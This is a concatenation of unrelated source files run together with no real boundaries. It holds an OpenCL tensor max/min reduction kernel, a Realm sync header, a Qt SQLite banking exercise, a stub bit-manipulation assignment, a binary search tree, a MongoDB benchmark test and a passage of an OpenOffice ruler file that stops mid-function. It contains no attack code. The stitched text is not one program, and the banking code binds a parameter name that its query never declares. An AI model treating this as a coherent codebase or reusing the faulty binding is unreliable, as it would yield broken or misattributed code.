+ "_" + easycl::toString(init); EasyCL *cl = src->storage->cl; CLKernel *kernel = 0; if(cl->kernelExists(uniqueName)) { kernel = cl->getKernel(uniqueName); StatefulTimer::timeCheck("Apply3 1aa"); } else { TemplatedKernel kernelBuilder(cl); string initString = easycl::toString(init); if(initString.find(".") != string::npos) { initString = initString + "f"; } kernelBuilder .set("init", initString) .set("MAX_CLTORCH_DIMS", MAX_CLTORCH_DIMS) .set("x_threads", 1) .set("y_threads", 1) .set("pair_operator2", binary_op->pair_operator2()) ; kernel = kernelBuilder.buildKernel(uniqueName, "THClTensorMathTransformReduce.cl", THClTensorMathTransformReduce_getKernelTemplate(), "THClTensor_kernel_transformReduceOuterDimIndex"); } THClKernels k(state, kernel); k.out( tgt1 ); k.out( tgt2 ); k.in( src ); k.in((int)num_orows); k.in((int)num_irows); k.in((int)row_size); k.run(grid, threads); if(state->addFinish) cl->finish(); StatefulTimer::timeCheck("THClTensor_transformReduceOuter END"); } void THClTensor_transformReduceInnermostDimIndex( THClState *state, THClTensor *tgt1, THClTensor *tgt2, THClTensor *src, float init, HasPairOperator2 *binary_op) { StatefulTimer::timeCheck("THClTensor_transformReduceInner START"); unsigned ndim = THClTensor_nDimension(state, src); unsigned num_rows = 1; for (unsigned dim = 0; dim < ndim - 1; dim++) { num_rows *= THClTensor_size(state, src, dim); } unsigned row_size = THClTensor_size(state, src, ndim - 1); int x_threads = 16; int y_threads = 32; if( x_threads * y_threads > getBlockSize(state) ) { y_threads = getBlockSize(state) / x_threads; } dim3 threads(x_threads, y_threads); dim3 grid(THCl_min(getBlockSize(state), THClCeilDiv(num_rows, threads.y()))); std::string uniqueName = "THClTensorMathTransformReduce_InnermostDim_" + binary_op->pair_operator2() + "_" + easycl::toString(init); EasyCL *cl = src->storage->cl; CLKernel *kernel = 0; if(cl->kernelExists(uniqueName)) { kernel = cl->getKernel(uniqueName); StatefulTimer::timeCheck("Apply3 1aa"); } else { TemplatedKernel kernelBuilder(cl); string initString = easycl::toString(init); if(initString.find(".") != string::npos) { initString = initString + "f"; } kernelBuilder .set("init", initString) .set("x_threads", x_threads) .set("y_threads", y_threads) .set("MAX_CLTORCH_DIMS", MAX_CLTORCH_DIMS) .set("pair_operator2", binary_op->pair_operator2()) ; kernel = kernelBuilder.buildKernel(uniqueName, "THClTensorMathTransformReduce.cl", THClTensorMathTransformReduce_getKernelTemplate(), "THClTensor_kernel_transformReduceInnermostDimIndex"); } THClKernels k(state, kernel); k.out( tgt1 ); k.out( tgt2 ); k.in( src ); k.in((int)num_rows); k.in((int)row_size); k.run(grid, threads); if(state->addFinish) cl->finish(); StatefulTimer::timeCheck("THClTensor_transformReduceInner END"); } void THClTensor_reduceDimIndex(THClState *state, THClTensor *tgt1_, THClTensor *tgt2_, THClTensor *src, long dimension, float init, HasPairOperator2 *binary_op) { THArgCheck(dimension >= 0 && dimension < THClTensor_nDimension(state, src), 3, "dimension out of range"); THLongStorage *dim = THClTensor_newSizeOf(state, src); THLongStorage_set(dim, dimension, 1); THClTensor_resize(state, tgt1_, dim, NULL); THClTensor_resize(state, tgt2_, dim, NULL); THLongStorage_free(dim); THClTensor *tgt1 = THClTensor_newContiguous(state, tgt1_); THClTensor *tgt2 = THClTensor_newContiguous(state, tgt2_); src = THClTensor_newContiguous(state, src); if(dimension == THClTensor_nDimension(state, src)-1) { THClTensor_transformReduceInnermostDimIndex(state, tgt1, tgt2, src, init, binary_op); } else { THClTensor_transformReduceOuterDimIndex(state, tgt1, tgt2, src, dimension, init, binary_op); } THClTensor_free(state, src); THClTensor_freeCopyTo(state, tgt1, tgt1_); THClTensor_freeCopyTo(state, tgt2, tgt2_); } void THClTensor_max(THClState *state, THClTensor *values, THClTensor *indices, THClTensor *src, long dimension) { THAssert(THClTensor_checkGPU(state, 3, values, indices, src)); maxvalue_functor reduceOp; const float minfloat32 = -3.402823466e+38f; return THClTensor_reduceDimIndex(state, values, indices, src, dimension, minfloat32, &reduceOp); } void THClTensor_min(THClState *state, THClTensor *values, THClTensor *indices, THClTensor *src, long dimension) { THAssert(THClTensor_checkGPU(state, 3, values, indices, src)); minvalue_functor reduceOp; const float maxfloat32 = 3.402823466e+38f; return THClTensor_reduceDimIndex(state, values, indices, src, dimension, maxfloat32, &reduceOp); } std::string THClTensorMathTransformReduce_getKernelTemplate() { // [[[cog // import stringify // stringify.write_kernel( "kernel", "THClTensorMathTransformReduce.cl" ) // ]]] // generated using cog, from THClTensorMathTransformReduce.cl: const char * kernelSource = "// from lib/THC/THCTensorMathTransformReduce.cu:\n" "\n" "typedef struct Pair {\n" " float first;\n" " float second;\n" "} Pair;\n" "\n" "static Pair binary_op( Pair a, Pair b ) {\n" " {{pair_operator2}};\n" "}\n" "\n" "/* A set of reduction kernels that take in binary ops on thrust pairs (of value, index).\n" " These are useful when you not only have to do a reduction, but you might have\n" " to preserve the location of contention (for example min/max operations).\n" " The structure of the kernels follows the structure of the reduction kernels.\n" "*/\n" "kernel void THClTensor_kernel_transformReduceOuterDimIndex(\n" " global float *tgt1_data, int tgt1_offset,\n" " global float *tgt2_data, int tgt2_offset,\n" " global float *src__data, int src__offset,\n" " int num_orows, int num_irows, int row_size\n" " ) {\n" " global float *tgt1 = tgt1_data + tgt1_offset;\n" " global float *tgt2 = tgt2_data + tgt2_offset;\n" " global float *src_ = src__data + src__offset;\n" "\n" " for (int orow = get_group_id(0); orow < num_orows; orow += get_num_groups(0)) {\n" " for (int irow = get_group_id(1) * get_local_size(0) + get_local_id(0); irow < num_irows; irow += get_num_groups(1) * get_local_size(0)) {\n" " global float *src = src_ + orow * row_size * num_irows + irow;\n" " Pair acc = {.first={{init}}, .second=-1};\n" " for (int col = 0; col < row_size; ++col) {\n" " Pair lhs = {*src, col+1};\n" " acc = binary_op( lhs, acc);\n" "// acc = binary_op(thrust::make_pair(*src, col+1), acc); // i+1 for 1-indexing\n" " src += num_irows;\n" " }\n" " tgt1[orow * num_irows + irow] = acc.first;\n" " tgt2[orow * num_irows + irow] = acc.second;\n" " }\n" " }\n" "}\n" "\n" "/* Reduce the innermost dimension of a tensor (on thrust::pair functors which are (value, index))\n" " *\n" " * For an n-d tensor (n <= 4) where the reduction is along the innermost dimension:\n" " *\n" " * - block.x is the innermost dimension, i.e. dimension 0;\n" " * - block.y and grid.y make up dimension 1; and\n" " * - grid.x and grid z are the remaining two outer dimensions (if any)\n" " *\n" " * Reduction along other dimensions is handled in a separate kernel.\n" " */\n" "kernel void THClTensor_kernel_transformReduceInnermostDimIndex(\n" " global float *tgt1_data, int tgt1_offset,\n" " global float *tgt2_data, int tgt2_offset,\n" " global float *src__data, int src__offset,\n" " int num_rows, int row_size\n" " ) {\n" " global float *tgt1 = tgt1_data + tgt1_offset;\n" " global float *tgt2 = tgt2_data + tgt2_offset;\n" " global float *src_ = src__data + src__offset;\n" "\n" " local float sbuf[{{y_threads}}][{{x_threads}}];\n" " local float ibuf[{{y_threads}}][{{x_threads}}];\n" "\n" " for (int block_row = get_group_id(0) * get_local_size(1); block_row < num_rows; block_row += get_local_size(1) * get_num_groups(0)) {\n" " int row = block_row + get_local_id(1);\n" "// thrust::pair acc = init;\n" " Pair acc = { .first={{init}}, .second=-1 };\n" " if (row < num_rows) {\n" " global float *src = src_ + row * row_size;\n" " // Sequential reduction within a thread.\n" " for (int col = get_local_id(0); col < row_size; col += get_local_size(0)) {\n" " Pair lhs = {src[col], col+1};\n" " acc = binary_op(lhs, acc);\n" " }\n" " }\n" "\n" " sbuf[get_local_id(1)][get_local_id(0)] = acc.first;\n" " ibuf[get_local_id(1)][get_local_id(0)] = acc.second;\n" "\n" " // Reduce intermediate values to single value.\n" " local float* sline = &sbuf[get_local_id(1)][0];\n" " local float* iline = &ibuf[get_local_id(1)][0];\n" " for (int s = 8; s > 0; s >>= 1) {\n" " if (row < num_rows && (int)get_local_id(0) < s) {\n" " Pair arg1 = {.first=sline[get_local_id(0)], .second=iline[get_local_id(0)]};\n" " Pair arg2 = {.first=sline[get_local_id(0) + s], .second=iline[get_local_id(0) + s]};\n" " Pair res = binary_op(arg1, arg2);\n" " sline[get_local_id(0)] = res.first;\n" " iline[get_local_id(0)] = res.second;\n" " }\n" " barrier(CLK_LOCAL_MEM_FENCE);\n" " }\n" "\n" " if (row < num_rows && get_local_id(0) == 0) {\n" " tgt1[row] = sline[0];\n" " tgt2[row] = iline[0];\n" " }\n" " barrier(CLK_LOCAL_MEM_FENCE);\n" " }\n" "}\n" "\n" ""; // [[[end]]] return kernelSource; } //////////////////////////////////////////////////////////////////////////// // // Copyright 2016 Realm Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // //////////////////////////////////////////////////////////////////////////// #import "RLMSyncSessionRefreshHandle.h" #import "RLMSyncUtil_Private.h" #import namespace realm { class SyncSession; class SyncUser; } @class RLMSyncUser; @interface RLMSyncSessionRefreshHandle () NS_ASSUME_NONNULL_BEGIN - (instancetype)initWithRealmURL:(NSURL *)realmURL user:(std::shared_ptr)user session:(std::shared_ptr)session completionBlock:(nullable RLMSyncBasicErrorReportingBlock)completionBlock; NS_ASSUME_NONNULL_END @end #include #include namespace EE { namespace UI { cUIEventMouse::cUIEventMouse( cUIControl * Ctrl, const Uint32& EventNum, const eeVector2i& Pos, const Uint32& Flags ) : cUIEvent( Ctrl, EventNum ), mPos( Pos ), mFlags( Flags ) { } cUIEventMouse::~cUIEventMouse() { } const eeVector2i& cUIEventMouse::Pos() const { return mPos; } const Uint32& cUIEventMouse::Flags() const { return mFlags; } }} eatanga/QT-ADVANCED-C-Plus-Plus #include "database.h" #include "counterparty.h" #include #include Database::Database() { DRIVER = QString("QSQLITE"); if(!QSqlDatabase::isDriverAvailable(DRIVER)) { qWarning() << "ERROR: driver not available"; } } void Database::open() { db = QSqlDatabase::addDatabase(DRIVER); db.setDatabaseName("bank.sqlite"); if(!db.open()) { qWarning() << "ERROR: " << db.lastError(); } } void Database::close() { db.close(); QSqlDatabase::removeDatabase(DRIVER); } void Database::getTransaction(long long transactionId, Transaction &transaction) { /** * TODO: Complete the following query so that the transaction for the * transactionId is loaded from the database and stored into the * passed-by-reference transaction. When it is working the CLI should do the * following: * * Account 1. Make a selection. * 1. Display balance. * 2. List all transactions. * 3. View transaction. * 4. Exit. * 3 * Select transaction by id: * 2 * Transaction 2 $-2122 */ QSqlQuery query; query.prepare("SELECT TransactionId, Amount, Timestamp FROM AccountTransaction WHERE TransactionId = :id"); // Here is the query string: "SELECT TransactionId, Amount, Timestamp FROM AccountTransaction WHERE TransactionId = :id" query.addBindValue(transactionId); query.exec(); query.next(); transaction.setTransactionId(query.value(0).toLongLong()); transaction.setAmount(query.value(1).toDouble()); transaction.setTimestamp(query.value(2).toDouble()); } void Database::getAccount(long long accountId, Account &account) { QSqlQuery query; query.prepare("SELECT AccountId, Balance FROM Account WHERE AccountId = ?"); query.addBindValue(accountId); query.exec(); query.next(); account.setId(query.value(0).toLongLong()); account.setBalance(query.value(1).toDouble()); } unique_ptr Database::getAccounts() { auto queryPtr = make_unique(); queryPtr->exec("SELECT AccountId, Balance FROM Account"); return queryPtr; } unique_ptr Database::getTransactions(Account &account) { auto selectPtr = make_unique(); selectPtr->prepare("SELECT TransactionId, CounterpartyId, Amount, Timestamp FROM AccountTransaction WHERE AccountId = ?"); selectPtr->addBindValue(account.getId()); return selectPtr; } void Database::performTransaction(Transaction &transaction) { Account& account = transaction.getAccount(); if (transaction.getAmount() < 0) { account.withdraw(-transaction.getAmount()); } else { account.deposit(transaction.getAmount()); } QSqlQuery query; query.prepare("UPDATE Account SET Balance = ? WHERE AccountId = ?"); query.addBindValue(account.getBalance()); query.addBindValue(account.getId()); query.exec(); } long Database::getLatestRowId() { QSqlQuery query; query.exec("SELECT last_insert_rowid()"); query.next(); return query.value(0).toLongLong(); } void Database::rebuildTestDatabase() { // drop sample table, if it exists QSqlQuery query; query.exec("DROP TABLE IF EXISTS AccountTransaction"); query.exec("DROP TABLE IF EXISTS AccountTransaction"); query.exec("DROP TABLE IF EXISTS AccountTransaction"); query.exec("DROP TABLE IF EXISTS Counterparty"); query.exec("DROP TABLE IF EXISTS Account"); // (re)create table query.exec("CREATE TABLE Account (AccountId INTEGER PRIMARY KEY, Balance REAL)"); query.exec("CREATE TABLE Counterparty (CounterpartyId INTEGER PRIMARY KEY, RoutingNumber INTEGER(8), AccountId INTEGER(8), BusinessName TEXT, FirstName TEXT, LastName TEXT, FOREIGN KEY(AccountId) REFERENCES Account(AccountId))"); query.exec("CREATE TABLE AccountTransaction (TransactionId INTEGER PRIMARY KEY, AccountId, CounterpartyId, Amount REAL, Timestamp INTEGER(8), FOREIGN KEY(AccountId) REFERENCES Account(AccountId), FOREIGN KEY(CounterpartyId) REFERENCES Counterparty(CounterpartyId))"); QSqlQuery insertAccount; insertAccount.prepare("INSERT INTO Account (Balance) VALUES (:balance)"); insertAccount.bindValue(":balance", 5000); insertAccount.exec(); long long accountId1 = getLatestRowId(); insertAccount.bindValue(":balance", 9000); insertAccount.exec(); long long accountId2 = getLatestRowId(); QSqlQuery insertCounterParty1; insertCounterParty1.prepare("INSERT INTO CounterParty (RoutingNumber, AccountId, BusinessName, FirstName, LastName) VALUES (?, ?, ?, ?, ?)"); insertCounterParty1.addBindValue(0); insertCounterParty1.addBindValue(1010); insertCounterParty1.addBindValue("Acme"); insertCounterParty1.addBindValue("Wile"); insertCounterParty1.addBindValue("Cyote"); insertCounterParty1.exec(); long long counterpartyId1 = getLatestRowId(); QSqlQuery insertCounterParty2; insertCounterParty2.prepare("INSERT INTO CounterParty (RoutingNumber, AccountId, BusinessName, FirstName, LastName) VALUES (?, ?, ?, ?, ?)"); insertCounterParty2.addBindValue(1111); insertCounterParty2.addBindValue(accountId2); insertCounterParty2.addBindValue("LexCorp"); insertCounterParty2.addBindValue("Lex"); insertCounterParty2.addBindValue("Luthor"); insertCounterParty2.exec(); long long counterpartyId2 = getLatestRowId(); QSqlQuery insertTransaction; insertTransaction.prepare("INSERT INTO AccountTransaction (AccountId, CounterpartyId, Amount, Timestamp) VALUES (:accId, :counterId, :amount, :time)"); insertTransaction.bindValue(":accId", accountId1); insertTransaction.bindValue(":countId", counterpartyId1); insertTransaction.bindValue(":amount", 4022); insertTransaction.bindValue(":time", 1570049000); insertTransaction.exec(); insertTransaction.bindValue(":accId", accountId1); insertTransaction.bindValue(":amount", -2122); insertTransaction.exec(); insertTransaction.bindValue(":accId", accountId1); insertTransaction.bindValue(":amount", 4102); insertTransaction.exec(); insertTransaction.bindValue(":accId", accountId1); insertTransaction.bindValue(":amount", -1002); insertTransaction.exec(); insertTransaction.bindValue(":accId", accountId2); insertTransaction.bindValue(":countId", counterpartyId2); insertTransaction.bindValue(":amount", 8000); insertTransaction.exec(); insertTransaction.bindValue(":accId", accountId2); insertTransaction.bindValue(":amount", -4000); insertTransaction.exec(); } nonkr/cat int foo() { return 42; } int extern_global = foo(); ichi-raven/LynxEngineinclude/Lynx/Components/CameraComponent.hpp #pragma once #include "IComponent.hpp" #include "../Utility/Transform.hpp" namespace Lynx { class CameraComponent : public IComponent { public: CameraComponent(); virtual ~CameraComponent(){} void setEnable(bool flag); void setEnable(); const bool getEnable() const; void setTransform(const Transform& transform); Transform& getTransform(); const Transform& getTransform() const; void setLookAt(const glm::vec3& lookPos); const glm::vec3& getLookAt() const; void setUpDir(const glm::vec3& up = glm::vec3(0, 1.f, 0)); const glm::vec3& getUpDir() const; void setViewParam(const glm::vec3& lookPos, const glm::vec3& up = glm::vec3(0, 1.f, 0)); void setProjectionParam(float fovAngle, uint32_t width, uint32_t height, float near, float far); void setFovY(float fovAngle); const float getFovY() const; void setAspect(float aspect); void setAspectAuto(uint32_t width, uint32_t height); const float getAspect() const; void setNearFar(float near, float far); const float getNear() const; const float getFar() const; const glm::mat4& getViewMatrix() const; const glm::mat4& getProjectionMatrix() const; virtual void update(); private: bool mEnable; Transform mTransform; glm::vec3 mLookPos; glm::vec3 mUp; float mFovY; float mAspect; float mNear; float mFar; glm::mat4 mView; glm::mat4 mProjection; }; };bitmanipulator.cpp #include "bitmanipulator.h" void bitset(uint32_t &word, uint8_t position) { //insert solution here } void bittoggle(uint32_t &word, uint8_t position) { //insert solution here } void bitclear(uint32_t &word, uint8_t position) { //insert solution here } void swapnibble(uint8_t &byte) { //insert solution here } void mirrornibble(uint8_t &byte) { //insert solution here } void ASCIItoBCD(char upper, char lower, uint8_t &result) { //insert solution here } void compactbytes(uint8_t* A, uint32_t &result) { //insert solution here }#include float dispTemp; uint16_t dispHum; uint16_t dispPres; uint16_t photoValue; uint16_t coValue;#include "../../../../include/Switch/System/Reflection/AssemblyProductAttribute.hpp" using namespace System; using namespace System::Reflection; AssemblyProductAttribute::AssemblyProductAttribute(const string& product, const object& executingAssembly) : product(product) { __assembly_product_attribute__() = new_(product); } $& __assembly_product_attribute__() { static $ product; return product; } #include #include #include "BSTTree.h" #include #include using namespace std; BSTTree::BSTTree() { root = NULL; } bool BSTTree::insertElement(int value) { if(root == NULL) { root = new BSTNode(value); return true; } else { return insertElementh(value,root); } } bool BSTTree::insertElementh(int value, BSTNode *n) { bool returnVal; if(n->val == value) returnVal = false; else if(n->val < value) { if(n->right != NULL) { returnVal = insertElementh(value, n->right); } else { n->right = new BSTNode(value); returnVal = true; } } else if(n->val > value) { if(n->left != NULL) { returnVal = insertElementh(value,n->left); } else { n->left = new BSTNode(value); returnVal = true; } } return returnVal; } bool BSTTree::lookupElement(int value) { BSTNode *n = root; while(n != NULL) { if(n->val > value) { n = n->left; } else if(n->val < value) { n = n->right; } else if(n->val == value) { return true; } } return false; } void preOrder(BSTNode *n, string *str) { if(n == NULL) return; char buffer[32]; snprintf(buffer, sizeof(buffer), "%d", n->val); str->append(buffer); str->append(" "); preOrder(n->left, str); preOrder(n->right, str); } void inOrder(BSTNode *n, string *str) { if(n == NULL) return; inOrder(n->left,str); char buffer[32]; snprintf(buffer,sizeof(buffer), "%d",n->val); str->append(buffer); str->append(" "); inOrder(n->right,str); } void BSTTree::printTree() { string out; preOrder(root,&out); if(out.size() != 1) out = out.substr(0,out.size()-1); out.append("\n"); inOrder(root,&out); out = out.substr(0,out.size()-1); out.append("\n"); cout <val == value) { retVal = true; if(root->right == NULL && root->left == NULL) { delete root; root = NULL; } else if((root->right == NULL) != (root->left == NULL)) { if(root->right != NULL) { root = root->right; } else if(root->left != NULL) { root = root->left; } } else if(root->right != NULL && root->left != NULL) { root->val = deleteSuccessor(root); } } else retVal = deleteElementh(value,root); return retVal; } bool BSTTree::deleteElementh(int value, BSTNode *n) { bool retVal; if(n == NULL) retVal = false; else if(n->val < value) { if(n->right == NULL) retVal = false; else if(n->right->val != value) retVal = deleteElementh(value,n->right); else if(n->right->val == value) { retVal = true; if(n->right->left == NULL && n->right->right == NULL) { delete n->right; n->right = NULL; } else if((n->right->left == NULL) != (n->right->right == NULL)) { BSTNode *tmp = n->right; if(n->right->right != NULL) n->right = n->right->right; else if(n->right->left != NULL) n->right = n->right->left; delete tmp; } else if(n->right->right != NULL && n->right->left != NULL) { n->right->val = deleteSuccessor(n->right); } } } else if(n->val > value) { if(n->left == NULL) retVal = false; else if(n->left->val != value) retVal = deleteElementh(value,n->left); else if(n->left->val == value) { retVal = true; if(n->left->left == NULL && n->left->right == NULL) { delete n->left; n->left = NULL; } else if((n->left->left == NULL) != (n->left->right == NULL)) { BSTNode *tmp = n->left; if(n->left->left != NULL) n->left = n->left->left; else if(n->left->right != NULL) n->left = n->left->right; delete tmp; } else if(n->left->right != NULL && n->left->left != NULL) { n->left->val = deleteSuccessor(n->left); } } } return retVal; } int BSTTree::deleteSuccessor(BSTNode *n) { int tmp; BSTNode *store; if(n->right->left == NULL) { tmp = n->right->val; store = n->right; n->right = n->right->right; delete store; } else tmp = deleteSuccessorh(n->right); return tmp; } int BSTTree::deleteSuccessorh(BSTNode *n) { int tmp; BSTNode *store; if(n->left->left == NULL) { tmp = n->left->val; store = n->left; n->left = n->left->right; delete store; } else { tmp = deleteSuccessorh(n->left); } return tmp; } 1-10 #pragma once #include namespace bench { namespace tests { namespace mongodb { namespace blob { class put : public mongodb_test_template { public: explicit put(bench::test_config config) : mongodb_test_template(config) { } void run_iteration(std::uint32_t iteration) { _mongodb.blob_put(alias(iteration), content(iteration)); } void cleanup() override { cleanup_each([=](std::uint32_t iteration) { _mongodb.remove(alias(iteration)); }); } static std::string name() { return "mongodb_blob_put"; } static std::string description() { return "Each thread repeats mongodb.insert with new ids"; } static bool size_dependent() { return true; } }; } // namespace blob } // namespace mongodb } // namespace tests } // namespace bench 100-1000 /************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ // MARKER(update_precomp.py): autogen include statement, do not remove #include "precompiled_svtools.hxx" #include #include #include #include #include #define _SV_RULER_CXX #include #include #include using namespace ::rtl; using namespace ::com::sun::star; using namespace ::com::sun::star::uno; using namespace ::com::sun::star::lang; using namespace ::com::sun::star::accessibility; // ======================================================================= #define RULER_OFF 3 #define RULER_TEXTOFF 2 #define RULER_RESIZE_OFF 4 #define RULER_LINE_WIDTH 7 #define RULER_MIN_SIZE 3 #define RULER_TICK1_WIDTH 1 #define RULER_TICK2_WIDTH 3 #define RULER_TICK3_WIDTH 5 #define RULER_VAR_SIZE 8 #define RULER_TAB_HEIGHT2 2 #define RULER_TAB_WIDTH2 2 #define RULER_TAB_CWIDTH 8 #define RULER_TAB_CWIDTH2 4 #define RULER_TAB_CWIDTH3 4 #define RULER_TAB_CWIDTH4 2 #define RULER_TAB_DHEIGHT 4 #define RULER_TAB_DHEIGHT2 1 #define RULER_TAB_DWIDTH 5 #define RULER_TAB_DWIDTH2 3 #define RULER_TAB_DWIDTH3 3 #define RULER_TAB_DWIDTH4 1 #define RULER_UPDATE_LINES 0x01 #define RULER_UPDATE_DRAW 0x02 #define RULER_CLIP 150 // ======================================================================= #define RULER_UNIT_MM 0 #define RULER_UNIT_CM 1 #define RULER_UNIT_M 2 #define RULER_UNIT_KM 3 #define RULER_UNIT_INCH 4 #define RULER_UNIT_FOOT 5 #define RULER_UNIT_MILE 6 #define RULER_UNIT_POINT 7 #define RULER_UNIT_PICA 8 #define RULER_UNIT_COUNT 9 // ----------------- // - ImplRulerData - // ----------------- class ImplRulerData { friend class Ruler; private: RulerLine* pLines; RulerArrow* pArrows; RulerBorder* pBorders; RulerIndent* pIndents; RulerTab* pTabs; long nNullVirOff; long nRulVirOff; long nRulWidth; long nPageOff; long nPageWidth; long nNullOff; long nMargin1; long nMargin2; sal_uInt16 nLines; sal_uInt16 nArrows; sal_uInt16 nBorders; sal_uInt16 nIndents; sal_uInt16 nTabs; sal_uInt16 nMargin1Style; sal_uInt16 nMargin2Style; sal_Bool bAutoPageWidth; sal_Bool bTextRTL; #ifdef _SV_RULER_CXX public: ImplRulerData(); ~ImplRulerData(); ImplRulerData& operator=( const ImplRulerData& rData ); #endif }; struct ImplRulerUnitData { MapUnit eMapUnit; // MAP_UNIT zum Umrechnen long nTickUnit; // Teiler fuer Einheit long nTick1; // Schrittweite long nTick2; // Tick fuer halbe Werte long nTick3; // Tick fuer Zahlenausgabe long n100THMM; // Teiler fuer Einheit sal_uInt16 nUnitDigits; // Anzahl Nachkommastellen sal_Char aUnitStr[8]; // Einheiten-String }; static ImplRulerUnitData aImplRulerUnitTab[RULER_UNIT_COUNT] = { { MAP_100TH_MM, 100, 25, 50, 100, 100, 3, " mm" }, // MM { MAP_100TH_MM, 1000, 250, 500, 1000, 1000, 3, " cm" }, // CM { MAP_MM, 1000, 250, 500, 1000, 10000, 4, " m" }, // M { MAP_CM, 100000, 25000, 50000, 100000, 100000, 6, " km" }, // KM { MAP_100TH_INCH, 100, 10, 50, 100, 2540, 3, "\"" }, // INCH { MAP_100TH_INCH, 1200, 120, 600, 1200, 30480, 3, "'" }, // FOOT { MAP_10TH_INCH, 633600, 63360, 316800, 633600, 1609344, 4, " miles" }, // MILE { MAP_POINT, 1, 12, 12, 36, 353, 2, " pt" }, // POINT { MAP_100TH_MM, 423, 423, 423, 846, 423, 3, " pi" } // PICA }; // ======================================================================= struct ImplRulerHitTest { long nPos; RulerType eType; sal_uInt16 nAryPos; sal_uInt16 mnDragSize; sal_Bool bSize; sal_Bool bSizeBar; sal_Bool bExpandTest; ImplRulerHitTest() : bExpandTest( sal_False ) {} }; // ======================================================================= ImplRulerData::ImplRulerData() { memset( this, 0, sizeof( ImplRulerData ) ); // PageBreite == EditWinBreite bAutoPageWidth = sal_True; } // ----------------------------------------------------------------------- ImplRulerData::~ImplRulerData() { delete[] pLines; delete[] pArrows; delete[] pBorders; delete[] pIndents; delete[] pTabs; } // ----------------------------------------------------------------------- ImplRulerData& ImplRulerData::operator=( const ImplRulerData& rData ) { delete[] pLines; delete[] pArrows; delete[] pBorders; delete[] pIndents; delete[] pTabs; memcpy( this, &rData, sizeof( ImplRulerData ) ); if ( rData.pLines ) { pLines = new RulerLine[nLines]; memcpy( pLines, rData.pLines, nLines*sizeof( RulerLine ) ); } if ( rData.pArrows ) { pArrows = new RulerArrow[nArrows]; memcpy( pArrows, rData.pArrows, nArrows*sizeof( RulerArrow ) ); } if ( rData.pBorders ) { pBorders = new RulerBorder[nBorders]; memcpy( pBorders, rData.pBorders, nBorders*sizeof( RulerBorder ) ); } if ( rData.pIndents ) { pIndents = new RulerIndent[nIndents]; memcpy( pIndents, rData.pIndents, nIndents*sizeof( RulerIndent ) ); } if ( rData.pTabs ) { pTabs = new RulerTab[nTabs]; memcpy( pTabs, rData.pTabs, nTabs*sizeof( RulerTab ) ); } return *this; } // ======================================================================= void Ruler::ImplInit( WinBits nWinBits ) { const StyleSettings& rStyleSettings = GetSettings().GetStyleSettings(); // Default WinBits setzen if ( !(nWinBits & WB_VERT) ) { nWinBits |= WB_HORZ; // --- RTL --- no UI mirroring for horizontal rulers, because // the document is also not mirrored EnableRTL( sal_False ); } // Variablen initialisieren mnWinStyle = nWinBits; // Window-Style mnBorderOff = 0; // Border-Offset mnWinOff = 0; // EditWinOffset mnWinWidth = 0; // EditWinWidth mnWidth = 0; // Fensterbreite mnHeight = 0; // Fensterhoehe mnVirOff = 0; // Offset des VirtualDeice vom linke/oberen Rand mnVirWidth = 0; // Breite bzw. Hoehe vom VirtualDevice mnVirHeight = 0; // Hoehe bzw. Breite vom VirtualDevice mnDragPos = 0; // Drag-Position (NullPunkt) mnUpdateEvtId = 0; // Noch kein Update-Event verschickt mnDragAryPos = 0; // Drag-Array-Index mnDragSize = 0; // Wird beim Draggen die Groesse geaendert mnDragScroll = 0; // Soll beim Draggen gescrollt werden mnDragModifier = 0; // Modifier-Tasten beim Draggen mnExtraStyle = 0; // Style des Extra-Feldes mnExtraClicks = 0; // Click-Anzahl fuer Extra-Feld mnExtraModifier = 0; // Modifier-Tasten beim Click im Extrafeld mbCalc = sal_True; // Muessen Pagebreiten neu berechnet werden mbFormat = sal_True; // Muss neu ausgegeben werden mbDrag = sal_False; // Sind wir im Drag-Modus mbDragDelete = sal_False; // Wird Maus beim Draggen unten rausgezogen mbDragCanceled = sal_False; // Wurde Dragging abgebrochen mbAutoWinWidth = sal_True; // EditWinBreite == RulerBreite mbActive = sal_True; // Ist Lineal aktiv mnUpdateFlags = 0; // Was soll im Update-Handler upgedatet werden mpData = mpSaveData; // Wir zeigen auf die normalen Daten meExtraType = RULER_EXTRA_DONTKNOW; // Was im ExtraFeld dargestellt wird meDragType = RULER_TYPE_DONTKNOW; // Gibt an, was gedragt wird // Units initialisieren mnUnitIndex = RULER_UNIT_CM; meUnit = FUNIT_CM; maZoom = Fraction( 1, 1 ); meSourceUnit = MAP_100TH_MM; // Border-Breiten berechnen if ( nWinBits & WB_BORDER ) { if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) ) mnBorderWidth = 2; else mnBorderWidth = 1; } else mnBorderWidth = 0; // Einstellungen setzen ImplInitSettings( sal_True, sal_True, sal_True ); // Default-Groesse setzen long nDefHeight = GetTextHeight() + RULER_OFF*2 + RULER_TEXTOFF*2 + mnBorderWidth; Size aDefSize; if ( nWinBits & WB_HORZ ) aDefSize.Height() = nDefHeight; else aDefSize.Width() = nDefHeight; SetOutputSizePixel( aDefSize ); SetType(WINDOW_RULER); pAccContext = NULL; } // ----------------------------------------------------------------------- Ruler::Ruler( Window* pParent, WinBits nWinStyle ) : Window( pParent, nWinStyle & WB_3DLOOK ), maVirDev( *this ), maMapMode( MAP_100TH_MM ), mpSaveData(new ImplRulerData), mpData(0), mpDragData(new ImplRulerData) { ImplInit( nWinStyle ); } // ----------------------------------------------------------------------- Ruler::~Ruler() { if ( mnUpdateEvtId ) Application::RemoveUserEvent( mnUpdateEvtId ); delete mpSaveData; delete mpDragData; if( pAccContext ) pAccContext->release(); } // ----------------------------------------------------------------------- void Ruler::ImplVDrawLine( long nX1, long nY1, long nX2, long nY2 ) { if ( nX1 < -RULER_CLIP ) { nX1 = -RULER_CLIP; if ( nX2 